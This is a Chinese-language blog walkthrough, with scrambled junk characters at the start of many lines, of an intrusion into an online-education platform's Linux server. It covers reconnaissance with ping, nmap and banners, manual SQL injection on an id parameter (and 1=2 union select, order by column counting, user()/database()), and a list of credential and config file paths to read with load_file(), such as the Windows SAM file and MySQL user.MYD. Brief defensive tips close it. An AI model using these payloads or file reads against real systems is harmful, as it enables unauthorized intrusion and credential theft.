记一次Linux系统PHP注入入侵检测

admin

题记：
3 ~. ?3 b" `7 _& {; ]* D6 ~. e$ T一位朋友在某教育公司，一套网络教育平台。一年前，在2008年8月份的时候，我看到了这套平台，当时发现了个注入漏洞，测试了一下，得到一个可用帐户后就没有再继续下去。今天7月，又说到此事，我决定继续下去……
第一步：获取需要的信息
, @- w# W% K5 ^+ \- Z) {) _# Y由于之前测试过，知道此系统某处存在SQL注入漏洞。但由于时隔一年，岁月的远去已经深深的隐藏了那个SQL注入漏洞的地址，现在需要重新收集服务器有用信息。
; S8 O, s; J  n. G) e( P9 K注：以下为保护特用XXX代替敏感信息
顺手先PING了一下他们的域名：
ping XXX.XXX.XXX.XXX（本文约定：用XXX.XXX.XXX.XXX代表测试IP和域名）
64 bytes from *********: icmp_seq=1 ttl=246 time=1.87 ms
& S& {; d4 R0 |9 k" A+ _顺便了解一下TTL，学好基础知识才能一路顺风：
TTL：(Time To Live ) 生存时间
指定数据包被路由器丢弃之前允许通过的网段数量。
TTL 是由发送主机设置的，以防止数据包不断在 IP 互联网络上永不终止地循环。转发 IP 数据包时，要求路由器至少将 TTL 减小 1。
使用PING时涉及到的 ICMP 报文类型
0 m5 b* J1 P( D$ y! q' \一个为ICMP请求回显（ICMP Echo Request）
一个为ICMP回显应答（ICMP Echo Reply）
2 L$ t* g) H5 @# \5 zTTL 字段值可以帮助我们识别操作系统类型。
3 ~* j/ m: u5 x* L, HUNIX 及类 UNIX 操作系统 ICMP 回显应答的 TTL 字段值为 255
Compaq Tru64 5.0 ICMP 回显应答的 TTL 字段值为 64
" P+ P7 O9 y) ?微软 Windows NT/2K操作系统 ICMP 回显应答的 TTL 字段值为 128
7 K3 U* r# O- {: _' ^微软 Windows 95 操作系统 ICMP 回显应答的 TTL 字段值为 32
当然，返回的TTL值是相同的
5 T* W1 g0 `1 j7 A0 E4 H* Z7 v' ^5 }但有些情况下有所特殊
9 u0 N# }! Y2 ^: W" k; xLINUX Kernel 2.2.x & 2.4.x ICMP 回显应答的 TTL 字段值为 64
' v/ }' m! Q" k: _- f. ~& b0 ]. V0 tFreeBSD 4.1, 4.0, 3.4;
; F( k3 q) ^( u; T% JSun Solaris 2.5.1, 2.6, 2.7, 2.8;
2 r$ U" Y' [( s8 z) X1 HOpenBSD 2.6, 2.7,
- w& Y$ E% b- Z, A) L$ b7 s# X) qNetBSD
HP UX 10.20
& w8 S0 C6 G, o7 c- L* f# OICMP 回显应答的 TTL 字段值为 255
Windows 95/98/98SE
' L: C9 O9 R' l$ U; hWindows ME
ICMP 回显应答的 TTL 字段值为 32
5 ?6 d- o1 @; N# z7 [4 a. `' PWindows NT4 WRKS
Windows NT4 Server
Windows 2000
* G) ]2 z% j! I# r3 V6 o2 s+ MWindows XP
ICMP 回显应答的 TTL 字段值为 128
这样，我们就可以通过这种方法来辨别操作系统
TTL值的注册表位置HKEY_LOCAL_MACHINE\SYSTEM \CurrentControlSet\Services\Tcpip\Parameters 其中有个DefaultTTL的DWORD值，其数据就是默认的TTL值了，我们可以修改，但不能大于十进制的255
0 G' n: o; ~) I' o% a用NMAP扫描一下：
9 E) P4 z+ o6 T8 D' ~nmap -sT -O XXX.XXX.XXX.XXX
. s0 j3 C; e3 ~& W  z+ d如果没有装WinPcap则会弹出提示：
9 @* K& b8 S* iWARNING: Could not import all necessary WinPcap functions.  You may need to upgr
7 F- @+ ^8 E8 x( A  N! b1 Wade to version 3.1 or higher from http://www.winpcap.org.  Resorting to connect(
. k' Q: }" X6 V* K% S5 `9 M7 l) mode — Nmap may not function completely
TCP/IP fingerprinting (for OS scan) requires that WinPcap version 3.1 or higher
and iphlpapi.dll be installed. You seem to be missing one or both of these.  Win
1 d- w( @7 h+ ^2 ?. C8 T& A$ bpcap is available from http://www.winpcap.org.  iphlpapi.dll comes with Win98 an
d later operating sytems and NT 4.0 with SP4 or greater.  For previous windows v
9 z# D5 c5 Q6 S- Oersions, you may be able to take iphlpapi.dll from another system and place it i
! r9 Z. L5 k) L2 `$ {n your system32 dir (e.g. c:\windows\system32).
QUITTING!
到这里下载： http://www.winpcap.org/install/bin/WinPcap_4_1_1.exe
安装后继续执行刚才的命令，等待扫描完毕后得到入下信息：
+ X* ^) h/ z. ?& ~; e+ |Interesting ports on XXX.XXX.XXX.XXX:
  V6 |4 i1 q2 R  p" D& R' SNot shown: 986 closed ports
PORT     STATE    SERVICE
( V1 I1 B) o/ X% A! z$ `21/tcp   open     ftp
22/tcp   open     ssh
23/tcp   open     telnet
/ E1 S9 Q1 ]& m% [80/tcp   open     http
111/tcp  open     rpcbind
135/tcp  filtered msrpc
4 ~/ A" }' U# J- [139/tcp  filtered netbios-ssn
445/tcp  filtered microsoft-ds
7 ?0 N0 u4 M6 o4 L- n- p513/tcp  open     login
514/tcp  open     shell
593/tcp  filtered http-rpc-epmap
1720/tcp filtered H.323/Q.931
6 X  q' s" Q5 t: J7 t8 r1 T3306/tcp open     mysql
4444/tcp filtered krb524
Device type: WAP
Running: Linux 2.4.X
& E( D+ r; r4 ^6 [2 zOS details: DD-WRT (Linux 2.4.35s)
Network Distance: 13 hops
% `0 n; O9 R" H8 t  T) l8 t看到SSH22端口是开着的，打开putty试一下，看是否可以正常连接：
, L4 }9 r5 N9 w9 P5 Blogin as:
/ q  c$ O' ?6 jTelnet23端口也是开着的，用telnet 命令链接一下：
+ y# ?9 v6 u( |$ E, Jtelnet XXX.XXX.XXX.XXX
" |0 E. a" y/ L" J2 ?提示：
7 ]; _* h+ n5 a9 H" d, `Red Hat Enterprise Linux Server release 5.2 (Tikanga)
; V1 N3 m- R. v$ X2 T/ pKernel 2.6.18-92.el5PAE on an i686
% A' G% ~2 U- C& O1 Xlogin:
% m8 z0 U/ I9 g2 v; p: ^获取HTTP头信息：
5 s. A5 J/ W/ }在本地执行如下PHP代码
<?php
% c/ u' `$ G) `# _# `$url = ‘XXX.XXX.XXX.XXX’;
  ?- Y" Z. i- u7 S$ xprint_r(get_headers($url));
% C8 P& X# `* c) ^print_r(get_headers($url, 1));
?>
" ^3 u1 t- e% h7 z; B2 D将以上代码保存为PHP文件，执行：
Array ( [0] => HTTP/1.1 200 OK [1] => Server: nginx/0.7.61 [2] => Date: Mon, 02 Nov 2009 09:06:48 GMT [3] => Content-Type: text/html; charset=gb2312,gbk,utf-8 [4] => Content-Length: 75 [5] => Last-Modified: Thu, 20 Aug 2009 19:35:37 GMT [6] => Connection: close [7] => Accept-Ranges: bytes ) Array ( [0] => HTTP/1.1 200 OK [Server] => nginx/0.7.61 [Date] => Mon, 02 Nov 2009 09:06:48 GMT [Content-Type] => text/html; charset=gb2312,gbk,utf-8 [Content-Length] => 75 [Last-Modified] => Thu, 20 Aug 2009 19:35:37 GMT [Connection] => close [Accept-Ranges] => bytes )
+ @3 @& A0 b( h, [3 D现在可以得出结论：
系统版本：Red Hat Enterprise Linux Server release 5.2 (Tikanga)
# @* Z+ _( A( a  g7 N4 ~内核版本：Kernel 2.6.18-92.el5PAE on an i686
WEB服务器版本：nginx/0.7.61
  @/ j1 z4 m: R% E) _% x3 V$ T第二步，开始测试寻找漏洞
分析是否存在注入漏洞，因为上次曾发现存在过，所以注入则是我们的首选。
1、敏感地址：站内存在有类似：http://www.fovweb.com/XXX.php?id=123 这种地址，属动态传参的
$ Z) I' M; q8 K9 Y" k2、测试方法：在地址后加 and 1=1 和 and 1=2 测试
$ w7 O$ L' e) o" fhttp://www.fovweb.com/XXX.php?id=123 and 1=1 返回正常
http://www.fovweb.com/XXX.php?id=123 and 1=2 返回错误
' \! p) M( c+ n; S恭喜，两次返回结果不同，则很有可能存在未过滤敏感字符而存在SQL注入漏洞，我们继续
3、手工注入：
注入也应该有个思路，不能随便碰运气，要记住入侵检测不是靠运气而走下去的，要靠的是清晰的思路、过硬的技术、很全的知识面。
( U$ p( _. l5 ?  E0 l5 S3.1 猜测当前表字段数
http://www.fovweb.com/XXX.php?id=123 and 1=1 order by 10
, T, [, m$ D7 F) W% G! W+ Z此处猜测有个简单的算法，都是有技巧的吗，呵呵
8 g- o$ m; w7 E0 Z. V: U! E1 @算法简单如下：
3 ~; h& t! F9 s: |( ]第一步：根据页面信息，大概估算一个数值，这个是要靠一定的经验了；
$ W& C2 S/ T4 [, f3 i第二步：取中算法，好比是10，如果返回错误，则取中间值5进行下一次猜测；
3 s1 x1 l( L4 D# p# ^需要注意：如果所选数值在字段数范围内即小于等于，则会（返回正常）；如果所选数值在字段范围外即大于等于，则会（返回错误）。
8 L0 A: }6 U# Y- j* e& b2 ^7 b2 }( v以此来判断，是否过界，配合取中算法猜出字段数。
4 x6 e  ]  O2 @6 p, {+ a9 ~3 y7 R举例：
http://www.fovweb.com/XXX.php?id=123 and 1=1 order by 3 返回正常
http://www.fovweb.com/XXX.php?id=123 and 1=1 order by 4 返回错误
此时3则为我们要找的字段数。
' t9 @3 b- G% }3.2 配合union联合查询字段在页面所位置
我们已经知道了字段数为3，此时则可以做如下操作：
' p: w: `' `  v, ?8 f3 ehttp://www.fovweb.com/XXX.php?id=123 and 1=2 union select 1,2,3

- ?' i0 x6 k" P! J) P: x% a$ f' q这样就可以测试到哪些字段在页面上有所显示了，如图：
5 }& c* \: U! U
3.3 查敏感信息
这也是个思路问题，我们需要什么，其实到了这一步已经能做什么多事情了。
http://www.fovweb.com/XXX.php?id=123 and 1=2 union select 1,user(),database()
3.3.1 先查数据库用户、数据库名，以备后用，如图：
6 Z2 D- g% [* s* u
得到数据库用户为root、数据库名为DBxx；
3.3.2 查配置文件
查配置文件，就是指查看系统敏感的文件，如web服务器配置文件等。
查看文件有一定的条件限制：
欲读取文件必须在服务器上
必须指定文件完整的路径
  S6 h9 }/ g/ ^  g必须有权限读取并且文件必须完全可读
欲读取文件必须小于 max_allowed_packet
MYSQL注入中，load_file()函数在获得webshell以及提权过程中起着十分重要的作用，常被用来读取各种配置文件。
常用的一些：
/usr/local/app/apache2/conf/httpd.conf //apache2缺省配置文件
/usr/local/apache2/conf/httpd.conf
% x& d+ d2 ]9 B. I3 b) O0 Q/usr/local/app/apache2/conf/extra/httpd-vhosts.conf //虚拟网站设置
/usr/local/app/php5/lib/php.ini //PHP相关设置
, g2 [: a6 Z/ S4 v7 G4 v/etc/sysconfig/iptables //从中得到防火墙规则策略
8 e7 M8 O% w- r  h7 i/etc/httpd/conf/httpd.conf // apache配置文件
0 v, T. h& L  Z5 b- N: Q$ B4 r/ o+ c/etc/rsyncd.conf //同步程序配置文件
9 {6 _; t$ O+ m  L/ D/etc/sysconfig/network-scripts/ifcfg-eth0 //查看IP.
/etc/my.cnf //mysql的配置文件
" O5 _* w; B5 x) Y+ }  I/etc/redhat-release //系统版本
. y) |7 M5 h/ q8 t/etc/issue
/etc/issue.net
c:\mysql\data\mysql\user.MYD //存储了mysql.user表中的数据库连接密码
5 n: g; P7 B9 v) `c:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini //存储了虚拟主机网站路径和密码
c:\Program Files\Serv-U\ServUDaemon.ini
c:\windows\my.ini //MYSQL配置文件
( A" g4 h8 g& b$ }  d. |1 Wc:\windows\system32\inetsrv\MetaBase.xml //IIS配置文件
等等。实际上，load_file()的作用不止于此，它还可以用来读取系统中的二进制文件，
c:\windows\repair\sam //存储了WINDOWS系统初次安装的密码
% W: ~( ?8 j% g4 d8 e; vc:\Program Files\ Serv-U\ServUAdmin.exe //6.0版本以前的serv-u管理员密码存储于此
. N: `2 z! U) Kc:\Program Files\RhinoSoft.com\ServUDaemon.exe
/ a0 I, W# [; }3 NC:\Documents and Settings\All Users\Application Data\Symantec\pcAnywhere\*.cif文件
$ D0 o$ Q0 ?$ D8 ]* x5 L//存储了pcAnywhere的登陆密码
4 j+ ?, h! V8 Q  `$ {6 M( |" b& m: c由于之前得到信息，此台服务器是采用的nginx做的Web服务器，那我们就来试着找一下nginx的安装路径吧。
2 j7 i' F, O+ ^2 d3 s' ]5 A, B这个没有技术性可言，纯靠经验和运气，由于很少用nginx不了解，我就先到网上搜索常用的安装路径，以及比较好的配置文档中的安装路径进行测试，最终，得到nginx安装路径“/usr/local/nginx/conf/nginx.conf”。
7 u5 _, u9 q+ s' r" v* Y" j" S  _最后：防范措施
1、修复PHP注入漏洞；
2、Mysql使用普通权限的用户；
3、升级linux内核至最新版本；